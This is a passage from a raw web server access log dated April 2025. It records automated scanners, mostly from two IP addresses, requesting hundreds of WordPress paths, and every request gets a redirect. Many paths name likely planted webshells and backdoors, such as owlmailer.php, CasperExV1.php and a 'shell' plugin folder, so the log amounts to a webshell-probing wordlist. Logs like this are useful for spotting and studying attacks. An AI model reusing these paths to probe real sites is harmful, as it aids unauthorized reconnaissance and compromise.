HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:27:05 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:27:10 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:27:14 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:27:19 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:27:22 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:27:25 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:27:27 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:27:30 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:27:33 -0400] "GET /wp-admin/css/colors/blue/CasperExV1.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:27:36 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:27:39 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:27:42 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:27:46 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:27:50 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:27:53 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:27:54 -0400] "GET /wp/wp-admin/includes/class-wp-page-mvb2yr.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:27:57 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:28:00 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:28:01 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:28:03 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:28:06 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:28:10 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:28:13 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:28:15 -0400] "GET /rendixd.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:28:19 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:28:24 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:28:27 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:28:30 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:28:32 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:28:33 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:28:37 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:28:42 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:28:49 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 34.219.207.1 - - [21/Apr/2025:07:28:53 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 52.169.232.149 - - [21/Apr/2025:07:28:54 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:28:57 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:28:59 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:29:00 -0400] "GET /wp-includes/rest-api/endpoints/html.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:29:03 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:29:06 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:29:09 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:29:12 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:29:14 -0400] "GET /wp-admin/js/privacy-tools.min.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:29:17 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:29:23 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:29:25 -0400] "GET /wp-content/uploads/error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:29:27 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:29:31 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:29:34 -0400] "GET /wp-includes/Requests/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:29:37 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:29:39 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:29:40 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:29:41 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 52.169.232.149 - - [21/Apr/2025:07:29:43 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 195.20.18.145 - - [21/Apr/2025:08:06:16 -0400] "GET /sites/all/libraries/elfinder/src/connectors/php/connector.php HTTP/1.1" 301 795 "-" "ALittle Client" 89.175.12.245 - - [21/Apr/2025:08:06:36 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 40.69.92.205 - - [21/Apr/2025:08:48:50 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:48:51 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:48:52 -0400] "GET /wp-setting.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:48:53 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:48:54 -0400] "GET /wp-content/plugins/elementor/assets/images/app/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:48:55 -0400] "GET /wp-comments-pos.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:48:56 -0400] "GET /wp-content/themes/ripro/inc/admin/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:48:57 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:48:58 -0400] "GET /index/b/home/h213348220/fundlead.ru/docs/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:00 -0400] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:01 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:02 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:04 -0400] "GET /wp-content/plugins/woocommerce/assets/client/blocks/products-by-attribute/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:05 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:07 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:08 -0400] "GET /Content/UserFiles/News/Orjinal/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:11 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:13 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:14 -0400] "GET /templates/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:16 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:17 -0400] "GET /wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:18 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:19 -0400] "GET /wp-link.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:20 -0400] "GET /wp-cro.php/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:20 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:21 -0400] "GET /wordpress/wp-includes/js/mediaelement/renderers/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:22 -0400] "GET /wp-content/plugins/oxygen/component-framework/components/classes/gallery/photoswipe/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:23 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:24 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:25 -0400] "GET /wp-content/plugins/elementor-pro/modules/woocommerce/skins/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:27 -0400] "GET /wp-content/plugins/seo-by-rank-math/vendor/woocommerce/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:28 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:30 -0400] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/blocks-config/uagb-controls/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:31 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:33 -0400] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:35 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:38 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:39 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:40 -0400] "GET /newlms/assets/frontend/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:42 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:43 -0400] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:44 -0400] "GET /wp-content/themes/blocksy/static/sass/frontend/6-layout/entries/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:45 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:46 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:47 -0400] "GET /wp/wp-content/themes/twentytwenty/template-parts/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:49 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:50 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:52 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:53 -0400] "GET /wp-content/plugins/wordpress-seo/vendor_prefixed/symfony/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:54 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:56 -0400] "GET /.well-known/acme-challenge/action=./ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:49:58 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:00 -0400] "GET /vendor/symfony/serializer/Mapping/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:02 -0400] "GET /wp-content/themes/blocksy/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:03 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:04 -0400] "GET /assets/admin/plugins/ckeditor/plugins/scayt/dialogs/dialogs/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:07 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:09 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:09 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:12 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:14 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:15 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:16 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:18 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:20 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:22 -0400] "GET /wp-content/plugins/woocommerce/includes/gateways/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:23 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:25 -0400] "GET /wp-content/fonts//wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:26 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:27 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:28 -0400] "GET /wp-content/plugins/insert-headers-and-footers/includes/auto-insert/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:29 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:29 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:31 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:32 -0400] "GET /wp-includesmaps/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:33 -0400] "GET /wp-content/plugins/file-manager-advanced/application/library/codemirror/mode/jsx/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:34 -0400] "GET /templates/ja_purity/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:36 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:38 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:39 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:40 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:41 -0400] "GET /wp-content/plugins/generateblocks/src/components/unit-picker/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:43 -0400] "GET /wp-includesmaps/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:44 -0400] "GET /wp-include.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:46 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:48 -0400] "GET /sos/NewTheme/images/VillagesPictures/Dhodial/Dhodial/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:50 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:52 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:53 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:55 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:56 -0400] "GET /wp-content/plugins/bdthemes-element-pack/modules/review-card/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:57 -0400] "GET /wp-content/plugins/w3-total-cache/lib/Aws/Aws/Api/Parser/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:58 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:50:59 -0400] "GET /wp-content/themes/twentytwentyfive/styles/sections/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:00 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:02 -0400] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:04 -0400] "GET /wp-content/themes/astra/inc/modules/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:05 -0400] "GET /wp-mai.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:06 -0400] "GET /wp-taglin.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:07 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:09 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:11 -0400] "GET /wp-includes/js/tinymce/plugins/wpeditimage/wpeditimage/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:13 -0400] "GET /wp-content/plugins/wp-table-builder/inc/core/freemius/assets/img/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:15 -0400] "GET /wp-activat.php HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:18 -0400] "GET /wp-includes/blocks/embed/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:20 -0400] "GET /wp-content/plugins/revslider/public/assets/js/libs/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:21 -0400] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:23 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:26 -0400] "GET /wp-content/plugins/pro-elements/modules/notes/database/query/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:27 -0400] "GET /wp-content/languages/themes//wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:30 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:31 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:33 -0400] "GET /wp-content/plugins/js_composer/include/params/options/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:34 -0400] "GET /wp-content/plugins/woocommerce/packages/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:36 -0400] "GET /backup/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:38 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:39 -0400] "GET /wp-content/themes/twentytwentythree/parts/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:40 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:41 -0400] "GET /wp-includes/css/dist/block-library/action/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:42 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:44 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:44 -0400] "GET /wp-content/plugins/not/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:45 -0400] "GET /wp-admin/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:46 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:48 -0400] "GET /wp-includes/js/tinymce/plugins/hr/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:48 -0400] "GET /wordpress/wp-includes/sodium_compat/src/Core32/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:49 -0400] "GET /wp-content/td/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:51 -0400] "GET /about/b/home/iune/www/about/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:52 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:53 -0400] "GET /wp-content/plugins/revslider/admin/assets/images/navigationeditor/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:54 -0400] "GET /classwithtostrin.php/rbzccnn.php/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:56 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:57 -0400] "GET /wp-content/plugins/wpforms-lite/templates/admin/empty-states/payments/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:51:59 -0400] "GET /wp-includes/js/tinymce/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:00 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:02 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:03 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:05 -0400] "GET /wp-content/themes/twentytwentytwo/styles/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:07 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:09 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:13 -0400] "GET /wp-content/themes/listdo/inc/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:14 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:16 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:17 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:19 -0400] "GET /http:/gracecommunications.church/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:20 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:22 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:24 -0400] "GET /wp-content/plugins/wp-rocket/inc/admin/ui/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:24 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:25 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:26 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:27 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:29 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:30 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:31 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 40.69.92.205 - - [21/Apr/2025:08:52:33 -0400] "GET /wp-admin/js/ 